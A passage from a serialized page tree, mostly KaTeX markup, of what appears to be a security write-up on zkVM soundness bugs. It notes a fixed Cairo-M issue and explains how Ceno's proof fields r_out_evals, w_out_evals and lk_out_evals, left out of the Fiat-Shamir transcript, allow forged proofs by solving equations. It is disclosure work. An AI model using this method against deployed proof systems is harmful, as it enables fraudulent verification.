5,"tag":271,"props":10821,"children":10823},{"className":10822},[296],[10824],{"type":30,"value":10825},"(other terms)",{"type":25,"tag":271,"props":10827,"children":10829},{"className":10828,"style":338},[337],[],{"type":25,"tag":271,"props":10831,"children":10833},{"className":10832},[356],[10834],{"type":30,"value":1065},{"type":25,"tag":271,"props":10836,"children":10838},{"className":10837,"style":338},[337],[],{"type":25,"tag":271,"props":10840,"children":10842},{"className":10841},[285],[10843,10847],{"type":25,"tag":271,"props":10844,"children":10846},{"className":10845,"style":3128},[290],[],{"type":25,"tag":271,"props":10848,"children":10850},{"className":10849},[296],[10851],{"type":30,"value":953},{"type":25,"tag":26,"props":10853,"children":10854},{},[10855],{"type":30,"value":10856},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":25,"tag":26,"props":10858,"children":10859},{},[10860],{"type":30,"value":10861},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":25,"tag":26,"props":10863,"children":10864},{},[10865,10869,10871],{"type":25,"tag":38,"props":10866,"children":10867},{},[10868],{"type":30,"value":9059},{"type":30,"value":10870}," Fixed on October 31, 2025 via ",{"type":25,"tag":83,"props":10872,"children":10875},{"href":10873,"rel":10874},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[9066],[10876],{"type":30,"value":10877},"commit 92b6740",{"type":25,"tag":92,"props":10879,"children":10880},{},[],{"type":25,"tag":247,"props":10882,"children":10884},{"id":10883},"ceno-scroll",[10885],{"type":30,"value":10886},"Ceno (Scroll)",{"type":25,"tag":26,"props":10888,"children":10889},{},[10890],{"type":30,"value":10891},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":25,"tag":26,"props":10893,"children":10894},{},[10895,10897,10902],{"type":30,"value":10896},"Ceno splits verification into ",{"type":25,"tag":38,"props":10898,"children":10899},{},[10900],{"type":30,"value":10901},"chips",{"type":30,"value":10903},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":25,"tag":26,"props":10905,"children":10906},{},[10907,10909,10914],{"type":30,"value":10908},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":25,"tag":38,"props":10910,"children":10911},{},[10912],{"type":30,"value":10913},"tower sumcheck",{"type":30,"value":1860},{"type":25,"tag":26,"props":10916,"children":10917},{},[10918],{"type":30,"value":10919},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":25,"tag":26,"props":10921,"children":10922},{},[10923],{"type":25,"tag":264,"props":10924,"children":10926},{"className":10925},[267,268],[10927],{"type":25,"tag":271,"props":10928,"children":10930},{"className":10929},[274],[10931],{"type":25,"tag":271,"props":10932,"children":10934},{"className":10933,"ariaHidden":280},[279],[10935,11109,11283],{"type":25,"tag":271,"props":10936,"children":10938},{"className":10937},[285],[10939,10943,11001,11005,11014,11019,11029,11034,11096,11100,11105],{"type":25,"tag":271,"props":10940,"children":10942},{"className":10941,"style":7026},[290],[],{"type":25,"tag":271,"props":10944,"children":10946},{"className":10945},[1082],[10947,10953],{"type":25,"tag":271,"props":10948,"children":10950},{"className":10949,"style":1089},[1082,1087,1088],[10951],{"type":30,"value":10952},"∏",{"type":25,"tag":271,"props":10954,"children":10956},{"className":10955},[982],[10957],{"type":25,"tag":271,"props":10958,"children":10960},{"className":10959},[987,1100],[10961,10990],{"type":25,"tag":271,"props":10962,"children":10964},{"className":10963},[992],[10965,10985],{"type":25,"tag":271,"props":10966,"children":10968},{"className":10967,"style":6544},[997],[10969],{"type":25,"tag":271,"props":10970,"children":10971},{"style":1113},[10972,10976],{"type":25,"tag":271,"props":10973,"children":10975},{"className":10974,"style":1008},[1007],[],{"type":25,"tag":271,"props":10977,"children":10979},{"className":10978},[1013,1014,1015,1016],[10980],{"type":25,"tag":271,"props":10981,"children":10983},{"className":10982},[296,297,1016],[10984],{"type":30,"value":1937},{"type":25,"tag":271,"props":10986,"children":10988},{"className":10987},[1177],[10989],{"type":30,"value":1180},{"type":25,"tag":271,"props":10991,"children":10993},{"className":10992},[992],[10994],{"type":25,"tag":271,"props":10995,"children":10997},{"className":10996,"style":6828},[997],[10998],{"type":25,"tag":271,"props":10999,"children":11000},{},[],{"type":25,"tag":271,"props":11002,"children":11004},{"className":11003,"style":411},[337],[],{"type":25,"tag":271,"props":11006,"children":11008},{"className":11007},[296,30],[11009],{"type":25,"tag":271,"props":11010,"children":11012},{"className":11011},[296],[11013],{"type":30,"value":2299},{"type":25,"tag":271,"props":11015,"children":11017},{"className":11016,"style":2296},[296],[11018],{"type":30,"value":6434},{"type":25,"tag":271,"props":11020,"children":11022},{"className":11021},[296,30],[11023],{"type":25,"tag":271,"props":11024,"children":11026},{"className":11025},[296],[11027],{"type":30,"value":11028},"out",{"type":25,"tag":271,"props":11030,"children":11032},{"className":11031,"style":2296},[296],[11033],{"type":30,"value":6434},{"type":25,"tag":271,"props":11035,"children":11037},{"className":11036},[296],[11038,11048],{"type":25,"tag":271,"props":11039,"children":11041},{"className":11040},[296,30],[11042],{"type":25,"tag":271,"props":11043,"children":11045},{"className":11044},[296],[11046],{"type":30,"value":11047},"evals",{"type":25,"tag":271,"props":11049,"children":11051},{"className":11050},[982],[11052],{"type":25,"tag":271,"props":11053,"children":11055},{"className":11054},[987,1100],[11056,11085],{"type":25,"tag":271,"props":11057,"children":11059},{"className":11058},[992],[11060,11080],{"type":25,"tag":271,"props":11061,"children":11063},{"className":11062,"style":1918},[997],[11064],{"type":25,"tag":271,"props":11065,"children":11066},{"style":6467},[11067,11071],{"type":25,"tag":271,"props":11068,"children":11070},{"className":11069,"style":1008},[1007],[],{"type":25,"tag":271,"props":11072,"children":11074},{"className":11073},[1013,1014,1015,1016],[11075],{"type":25,"tag":271,"props":11076,"children":11078},{"className":11077},[296,297,1016],[11079],{"type":30,"value":1937},{"type":25,"tag":271,"props":11081,"children":11083},{"className":11082},[1177],[11084],{"type":30,"value":1180},{"type":25,"tag":271,"props":11086,"children":11088},{"className":11087},[992],[11089],{"type":25,"tag":271,"props":11090,"children":11092},{"className":11091,"style":1619},[997],[11093],{"type":25,"tag":271,"props":11094,"children":11095},{},[],{"type":25,"tag":271,"props":11097,"children":11099},{"className":11098,"style":338},[337],[],{"type":25,"tag":271,"props":11101,"children":11103},{"className":11102},[356],[11104],{"type":30,"value":1065},{"type":25,"tag":271,"props":11106,"children":11108},{"className":11107,"style":338},[337],[],{"type":25,"tag":271,"props":11110,"children":11112},{"className":11111},[285],[11113,11118,11175,11179,11189,11194,11203,11208,11270,11274,11279],{"type":25,"tag":271,"props":11114,"children":11117},{"className":11115,"style":11116},[290],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":25,"tag":271,"props":11119,"children":11121},{"className":11120},[1082],[11122,11127],{"type":25,"tag":271,"props":11123,"children":11125},{"className":11124,"style":1089},[1082,1087,1088],[11126],{"type":30,"value":10952},{"type":25,"tag":271,"props":11128,"children":11130},{"className":11129},[982],[11131],{"type":25,"tag":271,"props":11132,"children":11134},{"className":11133},[987,1100],[11135,11164],{"type":25,"tag":271,"props":11136,"children":11138},{"className":11137},[992],[11139,11159],{"type":25,"tag":271,"props":11140,"children":11142},{"className":11141,"style":6544},[997],[11143],{"type":25,"tag":271,"props":11144,"children":11145},{"style":1113},[11146,11150],{"type":25,"tag":271,"props":11147,"children":11149},{"className":11148,"style":1008},[1007],[],{"type":25,"tag":271,"props":11151,"children":11153},{"className":11152},[1013,1014,1015,1016],[11154],{"type":25,"tag":271,"props":11155,"children":11157},{"className":11156,"style":6560},[296,297,1016],[11158],{"type":30,"value":6563},{"type":25,"tag":271,"props":11160,"children":11162},{"className":11161},[1177],[11163],{"type":30,"value":1180},{"type":25,"tag":271,"props":11165,"children":11167},{"className":11166},[992],[11168],{"type":25,"tag":271,"props":11169,"children":11171},{"className":11170,"style":6576},[997],[11172],{"type":25,"tag":271,"props":11173,"children":11174},{},[],{"type":25,"tag":271,"props":11176,"children":11178},{"className":11177,"style":411},[337],[],{"type":25,"tag":271,"props":11180,"children":11182},{"className":11181},[296,30],[11183],{"type":25,"tag":271,"props":11184,"children":11186},{"className":11185},[296],[11187],{"type":30,"value":11188},"w",{"type":25,"tag":271,"props":11190,"children":11192},{"className":11191,"style":2296},[296],[11193],{"type":30,"value":6434},{"type":25,"tag":271,"props":11195,"children":11197},{"className":11196},[296,30],[11198],{"type":25,"tag":271,"props":11199,"children":11201},{"className":11200},[296],[11202],{"type":30,"value":11028},{"type":25,"tag":271,"props":11204,"children":11206},{"className":11205,"style":2296},[296],[11207],{"type":30,"value":6434},{"type":25,"tag":271,"props":11209,"children":11211},{"className":11210},[296],[11212,11221],{"type":25,"tag":271,"props":11213,"children":11215},{"className":11214},[296,30],[11216],{"type":25,"tag":271,"props":11217,"children":11219},{"className":11218},[296],[11220],{"type":30,"value":11047},{"type":25,"tag":271,"props":11222,"children":11224},{"className":11223},[982],[11225],{"type":25,"tag":271,"props":11226,"children":11228},{"className":11227},[987,1100],[11229,11258],{"type":25,"tag":271,"props":11230,"children":11232},{"className":11231},[992],[11233,11253],{"type":25,"tag":271,"props":11234,"children":11236},{"className":11235,"style":1918},[997],[11237],{"type":25,"tag":271,"props":11238,"children":11239},{"style":6467},[11240,11244],{"type":25,"tag":271,"props":11241,"children":11243},{"className":11242,"style":1008},[1007],[],{"type":25,"tag":271,"props":11245,"children":11247},{"className":11246},[1013,1014,1015,1016],[11248],{"type":25,"tag":271,"props":11249,"children":11251},{"className":11250,"style":6560},[296,297,1016],[11252],{"type":30,"value":6563},{"type":25,"tag":271,"props":11254,"children":11256},{"className":11255},[1177],[11257],{"type":30,"value":1180},{"type":25,"tag":271,"props":11259,"children":11261},{"className":11260},[992],[11262],{"type":25,"tag":271,"props":11263,"children":11266},{"className":11264,"style":11265},[997],"height:0.2861em;",[11267],{"type":25,"tag":271,"props":11268,"children":11269},{},[],{"type":25,"tag":271,"props":11271,"children":11273},{"className":11272,"style":2066},[337],[],{"type":25,"tag":271,"props":11275,"children":11277},{"className":11276},[2071],[11278],{"type":30,"value":3585},{"type":25,"tag":271,"props":11280,"children":11282},{"className":11281,"style":2066},[337],[],{"type":25,"tag":271,"props":11284,"children":11286},{"className":11285},[285],[11287,11291,11296,11306],{"type":25,"tag":271,"props":11288,"children":11290},{"className":11289,"style":375},[290],[],{"type":25,"tag":271,"props":11292,"children":11294},{"className":11293},[391],[11295],{"type":30,"value":394},{"type":25,"tag":271,"props":11297,"children":11299},{"className":11298},[296,30],[11300],{"type":25,"tag":271,"props":11301,"children":11303},{"className":11302},[296],[11304],{"type":30,"value":11305},"state factors",{"type":25,"tag":271,"props":11307,"children":11309},{"className":11308},[437],[11310],{"type":30,"value":440},{"type":25,"tag":26,"props":11312,"children":11313},{},[11314],{"type":25,"tag":38,"props":11315,"children":11316},{},[11317],{"type":30,"value":7762},{"type":25,"tag":7764,"props":11319,"children":11321},{"code":11320},"ZKVMChipProof {\n    r_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    w_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    lk_out_evals: [[FieldElement]],  // \u003C- VULNERABLE\n    tower_proof: [...],\n    gkr_iop_proof: [...],\n}\n",[11322],{"type":25,"tag":264,"props":11323,"children":11324},{"__ignoreMap":7},[11325],{"type":30,"value":11320},{"type":25,"tag":26,"props":11327,"children":11328},{},[11329,11335,11336,11342,11343,11349],{"type":25,"tag":264,"props":11330,"children":11332},{"className":11331},[],[11333],{"type":30,"value":11334},"r_out_evals",{"type":30,"value":44},{"type":25,"tag":264,"props":11337,"children":11339},{"className":11338},[],[11340],{"type":30,"value":11341},"w_out_evals",{"type":30,"value":69},{"type":25,"tag":264,"props":11344,"children":11346},{"className":11345},[],[11347],{"type":30,"value":11348},"lk_out_evals",{"type":30,"value":11350}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":25,"tag":661,"props":11352,"children":11353},{},[11354],{"type":25,"tag":112,"props":11355,"children":11356},{},[11357,11362,11364,11370],{"type":25,"tag":38,"props":11358,"children":11359},{},[11360],{"type":30,"value":11361},"GKR/Tower equation",{"type":30,"value":11363}," (linear in ",{"type":25,"tag":264,"props":11365,"children":11367},{"className":11366},[],[11368],{"type":30,"value":11369},"out_evals",{"type":30,"value":11371},"):",{"type":25,"tag":26,"props":11373,"children":11374},{},[11375,11377],{"type":30,"value":11376},"The tower sumcheck claim is ",{"type":25,"tag":264,"props":11378,"children":11380},{"className":11379},[267,268],[11381],{"type":25,"tag":271,"props":11382,"children":11384},{"className":11383},[274],[11385],{"type":25,"tag":271,"props":11386,"children":11388},{"className":11387,"ariaHidden":280},[279],[11389,11420,11545],{"type":25,"tag":271,"props":11390,"children":11392},{"className":11391},[285],[11393,11397,11407,11411,11416],{"type":25,"tag":271,"props":11394,"children":11396},{"className":11395,"style":326},[290],[],{"type":25,"tag":271,"props":11398,"children":11400},{"className":11399},[296,30],[11401],{"type":25,"tag":271,"props":11402,"children":11404},{"className":11403},[296],[11405],{"type":30,"value":11406},"claim",{"type":25,"tag":271,"props":11408,"children":11410},{"className":11409,"style":338},[337],[],{"type":25,"tag":271,"props":11412,"children":11414},{"className":11413},[356],[11415],{"type":30,"value":1065},{"type":25,"tag":271,"props":11417,"children":11419},{"className":11418,"style":338},[337],[],{"type":25,"tag":271,"props":11421,"children":11423},{"className":11422},[285],[11424,11429,11486,11490,11532,11536,11541],{"type":25,"tag":271,"props":11425,"children":11428},{"className":11426,"style":11427},[290],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":25,"tag":271,"props":11430,"children":11432},{"className":11431},[1082],[11433,11438],{"type":25,"tag":271,"props":11434,"children":11436},{"className":11435,"style":1089},[1082,1087,1088],[11437],{"type":30,"value":1092},{"type":25,"tag":271,"props":11439,"children":11441},{"className":11440},[982],[11442],{"type":25,"tag":271,"props":11443,"children":11445},{"className":11444},[987,1100],[11446,11475],{"type":25,"tag":271,"props":11447,"children":11449},{"className":11448},[992],[11450,11470],{"type":25,"tag":271,"props":11451,"children":11453},{"className":11452,"style":6544},[997],[11454],{"type":25,"tag":271,"props":11455,"children":11456},{"style":1113},[11457,11461],{"type":25,"tag":271,"props":11458,"children":11460},{"className":11459,"style":1008},[1007],[],{"type":25,"tag":271,"props":11462,"children":11464},{"className":11463},[1013,1014,1015,1016],[11465],{"type":25,"tag":271,"props":11466,"children":11468},{"className":11467,"style":6560},[296,297,1016],[11469],{"type":30,"value":6563},{"type":25,"tag":271,"props":11471,"children":11473},{"className":11472},[1177],[11474],{"type":30,"value":1180},{"type":25,"tag":271,"props":11476,"children":11478},{"className":11477},[992],[11479],{"type":25,"tag":271,"props":11480,"children":11482},{"className":11481,"style":6576},[997],[11483],{"type":25,"tag":271,"props":11484,"children":11485},{},[],{"type":25,"tag":271,"props":11487,"children":11489},{"className":11488,"style":411},[337],[],{"type":25,"tag":271,"props":11491,"children":11493},{"className":11492},[296],[11494,11499],{"type":25,"tag":271,"props":11495,"children":11497},{"className":11496,"style":7431},[296,297],[11498],{"type":30,"value":7434},{"type":25,"tag":271,"props":11500,"children":11502},{"className":11501},[982],[11503],{"type":25,"tag":271,"props":11504,"children":11506},{"className":11505},[987],[11507],{"type":25,"tag":271,"props":11508,"children":11510},{"className":11509},[992],[11511],{"type":25,"tag":271,"props":11512,"children":11515},{"className":11513,"style":11514},[997],"height:0.8247em;",[11516],{"type":25,"tag":271,"props":11517,"children":11518},{"style":1002},[11519,11523],{"type":25,"tag":271,"props":11520,"children":11522},{"className":11521,"style":1008},[1007],[],{"type":25,"tag":271,"props":11524,"children":11526},{"className":11525},[1013,1014,1015,1016],[11527],{"type":25,"tag":271,"props":11528,"children":11530},{"className":11529,"style":6560},[296,297,1016],[11531],{"type":30,"value":6563},{"type":25,"tag":271,"props":11533,"children":11535},{"className":11534,"style":2066},[337],[],{"type":25,"tag":271,"props":11537,"children":11539},{"className":11538},[2071],[11540],{"type":30,"value":3585},{"type":25,"tag":271,"props":11542,"children":11544},{"className":11543,"style":2066},[337],[],{"type":25,"tag":271,"props":11546,"children":11548},{"className":11547},[285],[11549,11553,11562,11567],{"type":25,"tag":271,"props":11550,"children":11552},{"className":11551,"style":6417},[290],[],{"type":25,"tag":271,"props":11554,"children":11556},{"className":11555},[296,30],[11557],{"type":25,"tag":271,"props":11558,"children":11560},{"className":11559},[296],[11561],{"type":30,"value":11028},{"type":25,"tag":271,"props":11563,"children":11565},{"className":11564,"style":2296},[296],[11566],{"type":30,"value":6434},{"type":25,"tag":271,"props":11568,"children":11570},{"className":11569},[296],[11571,11580],{"type":25,"tag":271,"props":11572,"children":11574},{"className":11573},[296,30],[11575],{"type":25,"tag":271,"props":11576,"children":11578},{"className":11577},[296],[11579],{"type":30,"value":11047},{"type":25,"tag":271,"props":11581,"children":11583},{"className":11582},[982],[11584],{"type":25,"tag":271,"props":11585,"children":11587},{"className":11586},[987,1100],[11588,11617],{"type":25,"tag":271,"props":11589,"children":11591},{"className":11590},[992],[11592,11612],{"type":25,"tag":271,"props":11593,"children":11595},{"className":11594,"style":1918},[997],[11596],{"type":25,"tag":271,"props":11597,"children":11598},{"style":6467},[11599,11603],{"type":25,"tag":271,"props":11600,"children":11602},{"className":11601,"style":1008},[1007],[],{"type":25,"tag":271,"props":11604,"children":11606},{"className":11605},[1013,1014,1015,1016],[11607],{"type":25,"tag":271,"props":11608,"children":11610},{"className":11609,"style":6560},[296,297,1016],[11611],{"type":30,"value":6563},{"type":25,"tag":271,"props":11613,"children":11615},{"className":11614},[1177],[11616],{"type":30,"value":1180},{"type":25,"tag":271,"props":11618,"children":11620},{"className":11619},[992],[11621],{"type":25,"tag":271,"props":11622,"children":11624},{"className":11623,"style":11265},[997],[11625],{"type":25,"tag":271,"props":11626,"children":11627},{},[],{"type":25,"tag":26,"props":11629,"children":11630},{},[11631,11633,11638],{"type":30,"value":11632},"This check is linear in ",{"type":25,"tag":264,"props":11634,"children":11636},{"className":11635},[],[11637],{"type":30,"value":11369},{"type":30,"value":1860},{"type":25,"tag":661,"props":11640,"children":11642},{"start":11641},2,[11643],{"type":25,"tag":112,"props":11644,"children":11645},{},[11646,11651,11653,11658],{"type":25,"tag":38,"props":11647,"children":11648},{},[11649],{"type":30,"value":11650},"rw-product consistency",{"type":30,"value":11652}," (bilinear in ",{"type":25,"tag":264,"props":11654,"children":11656},{"className":11655},[],[11657],{"type":30,"value":11369},{"type":30,"value":11371},{"type":25,"tag":26,"props":11660,"children":11661},{},[11662],{"type":25,"tag":264,"props":11663,"children":11665},{"className":11664},[267,268],[11666],{"type":25,"tag":271,"props":11667,"children":11669},{"className":11668},[274],[11670],{"type":25,"tag":271,"props":11671,"children":11673},{"className":11672,"ariaHidden":280},[279],[11674,11845,12016],{"type":25,"tag":271,"props":11675,"children":11677},{"className":11676},[285],[11678,11682,11739,11743,11752,11757,11766,11771,11832,11836,11841],{"type":25,"tag":271,"props":11679,"children":11681},{"className":11680,"style":7026},[290],[],{"type":25,"tag":271,"props":11683,"children":11685},{"className":11684},[1082],[11686,11691],{"type":25,"tag":271,"props":11687,"children":11689},{"className":11688,"style":1089},[1082,1087,1088],[11690],{"type":30,"value":10952},{"type":25,"tag":271,"props":11692,"children":11694},{"className":11693},[982],[11695],{"type":25,"tag":271,"props":11696,"children":11698},{"className":11697},[987,1100],[11699,11728],{"type":25,"tag":271,"props":11700,"children":11702},{"className":11701},[992],[11703,11723],{"type":25,"tag":271,"props":11704,"children":11706},{"className":11705,"style":6544},[997],[11707],{"type":25,"tag":271,"props":11708,"children":11709},{"style":1113},[11710,11714],{"type":25,"tag":271,"props":11711,"children":11713},{"className":11712,"style":1008},[1007],[],{"type":25,"tag":271,"props":11715,"children":11717},{"className":11716},[1013,1014,1015,1016],[11718],{"type":25,"tag":271,"props":11719,"children":11721},{"className":11720},[296,297,1016],[11722],{"type":30,"value":1937},{"type":25,"tag":271,"props":11724,"children":11726},{"className":11725},[1177],[11727],{"type":30,"value":1180},{"type":25,"tag":271,"props":11729,"children":11731},{"className":11730},[992],[11732],{"type":25,"tag":271,"props":11733,"children":11735},{"className":11734,"style":6828},[997],[11736],{"type":25,"tag":271,"props":11737,"children":11738},{},[],{"type":25,"tag":271,"props":11740,"children":11742},{"className":11741,"style":411},[337],[],{"type":25,"tag":271,"props":11744,"children":11746},{"className":11745},[296,30],[11747],{"type":25,"tag":271,"props":11748,"children":11750},{"className":11749},[296],[11751],{"type":30,"value":2299},{"type":25,"tag":271,"props":11753,"children":11755},{"className":11754,"style":2296},[296],[11756],{"type":30,"value":6434},{"type":25,"tag":271,"props":11758,"children":11760},{"className":11759},[296,30],[11761],{"type":25,"tag":271,"props":11762,"children":11764},{"className":11763},[296],[11765],{"type":30,"value":11028},{"type":25,"tag":271,"props":11767,"children":11769},{"className":11768,"style":2296},[296],[11770],{"type":30,"value":6434},{"type":25,"tag":271,"props":11772,"children":11774},{"className":11773},[296],[11775,11784],{"type":25,"tag":271,"props":11776,"children":11778},{"className":11777},[296,30],[11779],{"type":25,"tag":271,"props":11780,"children":11782},{"className":11781},[296],[11783],{"type":30,"value":11047},{"type":25,"tag":271,"props":11785,"children":11787},{"className":11786},[982],[11788],{"type":25,"tag":271,"props":11789,"children":11791},{"className":11790},[987,1100],[11792,11821],{"type":25,"tag":271,"props":11793,"children":11795},{"className":11794},[992],[11796,11816],{"type":25,"tag":271,"props":11797,"children":11799},{"className":11798,"style":1918},[997],[11800],{"type":25,"tag":271,"props":11801,"children":11802},{"style":6467},[11803,11807],{"type":25,"tag":271,"props":11804,"children":11806},{"className":11805,"style":1008},[1007],[],{"type":25,"tag":271,"props":11808,"children":11810},{"className":11809},[1013,1014,1015,1016],[11811],{"type":25,"tag":271,"props":11812,"children":11814},{"className":11813},[296,297,1016],[11815],{"type":30,"value":1937},{"type":25,"tag":271,"props":11817,"children":11819},{"className":11818},[1177],[11820],{"type":30,"value":1180},{"type":25,"tag":271,"props":11822,"children":11824},{"className":11823},[992],[11825],{"type":25,"tag":271,"props":11826,"children":11828},{"className":11827,"style":1619},[997],[11829],{"type":25,"tag":271,"props":11830,"children":11831},{},[],{"type":25,"tag":271,"props":11833,"children":11835},{"className":11834,"style":338},[337],[],{"type":25,"tag":271,"props":11837,"children":11839},{"className":11838},[356],[11840],{"type":30,"value":1065},{"type":25,"tag":271,"props":11842,"children":11844},{"className":11843,"style":338},[337],[],{"type":25,"tag":271,"props":11846,"children":11848},{"className":11847},[285],[11849,11853,11910,11914,11923,11928,11937,11942,12003,12007,12012],{"type":25,"tag":271,"props":11850,"children":11852},{"className":11851,"style":11116},[290],[],{"type":25,"tag":271,"props":11854,"children":11856},{"className":11855},[1082],[11857,11862],{"type":25,"tag":271,"props":11858,"children":11860},{"className":11859,"style":1089},[1082,1087,1088],[11861],{"type":30,"value":10952},{"type":25,"tag":271,"props":11863,"children":11865},{"className":11864},[982],[11866],{"type":25,"tag":271,"props":11867,"children":11869},{"className":11868},[987,1100],[11870,11899],{"type":25,"tag":271,"props":11871,"children":11873},{"className":11872},[992],[11874,11894],{"type":25,"tag":271,"props":11875,"children":11877},{"className":11876,"style":6544},[997],[11878],{"type":25,"tag":271,"props":11879,"children":11880},{"style":1113},[11881,11885],{"type":25,"tag":271,"props":11882,"children":11884},{"className":11883,"style":1008},[1007],[],{"type":25,"tag":271,"props":11886,"children":11888},{"className":11887},[1013,1014,1015,1016],[11889],{"type":25,"tag":271,"props":11890,"children":11892},{"className":11891,"style":6560},[296,297,1016],[11893],{"type":30,"value":6563},{"type":25,"tag":271,"props":11895,"children":11897},{"className":11896},[1177],[11898],{"type":30,"value":1180},{"type":25,"tag":271,"props":11900,"children":11902},{"className":11901},[992],[11903],{"type":25,"tag":271,"props":11904,"children":11906},{"className":11905,"style":6576},[997],[11907],{"type":25,"tag":271,"props":11908,"children":11909},{},[],{"type":25,"tag":271,"props":11911,"children":11913},{"className":11912,"style":411},[337],[],{"type":25,"tag":271,"props":11915,"children":11917},{"className":11916},[296,30],[11918],{"type":25,"tag":271,"props":11919,"children":11921},{"className":11920},[296],[11922],{"type":30,"value":11188},{"type":25,"tag":271,"props":11924,"children":11926},{"className":11925,"style":2296},[296],[11927],{"type":30,"value":6434},{"type":25,"tag":271,"props":11929,"children":11931},{"className":11930},[296,30],[11932],{"type":25,"tag":271,"props":11933,"children":11935},{"className":11934},[296],[11936],{"type":30,"value":11028},{"type":25,"tag":271,"props":11938,"children":11940},{"className":11939,"style":2296},[296],[11941],{"type":30,"value":6434},{"type":25,"tag":271,"props":11943,"children":11945},{"className":11944},[296],[11946,11955],{"type":25,"tag":271,"props":11947,"children":11949},{"className":11948},[296,30],[11950],{"type":25,"tag":271,"props":11951,"children":11953},{"className":11952},[296],[11954],{"type":30,"value":11047},{"type":25,"tag":271,"props":11956,"children":11958},{"className":11957},[982],[11959],{"type":25,"tag":271,"props":11960,"children":11962},{"className":11961},[987,1100],[11963,11992],{"type":25,"tag":271,"props":11964,"children":11966},{"className":11965},[992],[11967,11987],{"type":25,"tag":271,"props":11968,"children":11970},{"className":11969,"style":1918},[997],[11971],{"type":25,"tag":271,"props":11972,"children":11973},{"style":6467},[11974,11978],{"type":25,"tag":271,"props":11975,"children":11977},{"className":11976,"style":1008},[1007],[],{"type":25,"tag":271,"props":11979,"children":11981},{"className":11980},[1013,1014,1015,1016],[11982],{"type":25,"tag":271,"props":11983,"children":11985},{"className":11984,"style":6560},[296,297,1016],[11986],{"type":30,"value":6563},{"type":25,"tag":271,"props":11988,"children":11990},{"className":11989},[1177],[11991],{"type":30,"value":1180},{"type":25,"tag":271,"props":11993,"children":11995},{"className":11994},[992],[11996],{"type":25,"tag":271,"props":11997,"children":11999},{"className":11998,"style":11265},[997],[12000],{"type":25,"tag":271,"props":12001,"children":12002},{},[],{"type":25,"tag":271,"props":12004,"children":12006},{"className":12005,"style":2066},[337],[],{"type":25,"tag":271,"props":12008,"children":12010},{"className":12009},[2071],[12011],{"type":30,"value":3585},{"type":25,"tag":271,"props":12013,"children":12015},{"className":12014,"style":2066},[337],[],{"type":25,"tag":271,"props":12017,"children":12019},{"className":12018},[285],[12020,12024,12029,12038],{"type":25,"tag":271,"props":12021,"children":12023},{"className":12022,"style":375},[290],[],{"type":25,"tag":271,"props":12025,"children":12027},{"className":12026},[391],[12028],{"type":30,"value":394},{"type":25,"tag":271,"props":12030,"children":12032},{"className":12031},[296,30],[12033],{"type":25,"tag":271,"props":12034,"children":12036},{"className":12035},[296],[12037],{"type":30,"value":11305},{"type":25,"tag":271,"props":12039,"children":12041},{"className":12040},[437],[12042],{"type":30,"value":440},{"type":25,"tag":26,"props":12044,"children":12045},{},[12046,12048,12217,12219,12388],{"type":30,"value":12047},"If we vary ",{"type":25,"tag":264,"props":12049,"children":12051},{"className":12050},[267,268],[12052],{"type":25,"tag":271,"props":12053,"children":12055},{"className":12054},[274],[12056],{"type":25,"tag":271,"props":12057,"children":12059},{"className":12058,"ariaHidden":280},[279],[12060,12138],{"type":25,"tag":271,"props":12061,"children":12063},{"className":12062},[285],[12064,12068,12125,12129,12134],{"type":25,"tag":271,"props":12065,"children":12067},{"className":12066,"style":2287},[290],[],{"type":25,"tag":271,"props":12069,"children":12071},{"className":12070},[296],[12072,12077],{"type":25,"tag":271,"props":12073,"children":12075},{"className":12074},[296,297],[12076],{"type":30,"value":1136},{"type":25,"tag":271,"props":12078,"children":12080},{"className":12079},[982],[12081],{"type":25,"tag":271,"props":12082,"children":12084},{"className":12083},[987,1100],[12085,12114],{"type":25,"tag":271,"props":12086,"children":12088},{"className":12087},[992],[12089,12109],{"type":25,"tag":271,"props":12090,"children":12092},{"className":12091,"style":1588},[997],[12093],{"type":25,"tag":271,"props":12094,"children":12095},{"style":1592},[12096,12100],{"type":25,"tag":271,"props":12097,"children":12099},{"className":12098,"style":1008},[1007],[],{"type":25,"tag":271,"props":12101,"children":12103},{"className":12102},[1013,1014,1015,1016],[12104],{"type":25,"tag":271,"props":12105,"children":12107},{"className":12106},[296,1016],[12108],{"type":30,"value":953},{"type":25,"tag":271,"props":12110,"children":12112},{"className":12111},[1177],[12113],{"type":30,"value":1180},{"type":25,"tag":271,"props":12115,"children":12117},{"className":12116},[992],[12118],{"type":25,"tag":271,"props":12119,"children":12121},{"className":12120,"style":1619},[997],[12122],{"type":25,"tag":271,"props":12123,"children":12124},{},[],{"type":25,"tag":271,"props":12126,"children":12128},{"className":12127,"style":338},[337],[],{"type":25,"tag":271,"props":12130,"children":12132},{"className":12131},[356],[12133],{"type":30,"value":1065},{"type":25,"tag":271,"props":12135,"children":12137},{"className":12136,"style":338},[337],[],{"type":25,"tag":271,"props":12139,"children":12141},{"className":12140},[285],[12142,12146,12187,12192,12197,12202,12207,12212],{"type":25,"tag":271,"props":12143,"children":12145},{"className":12144,"style":7026},[290],[],{"type":25,"tag":271,"props":12147,"children":12149},{"className":12148},[296],[12150,12159,12164,12173,12178],{"type":25,"tag":271,"props":12151,"children":12153},{"className":12152},[296,30],[12154],{"type":25,"tag":271,"props":12155,"children":12157},{"className":12156},[296],[12158],{"type":30,"value":2299},{"type":25,"tag":271,"props":12160,"children":12162},{"className":12161,"style":2296},[296],[12163],{"type":30,"value":6434},{"type":25,"tag":271,"props":12165,"children":12167},{"className":12166},[296,30],[12168],{"type":25,"tag":271,"props":12169,"children":12171},{"className":12170},[296],[12172],{"type":30,"value":11028},{"type":25,"tag":271,"props":12174,"children":12176},{"className":12175,"style":2296},[296],[12177],{"type":30,"value":6434},{"type":25,"tag":271,"props":12179,"children":12181},{"className":12180},[296,30],[12182],{"type":25,"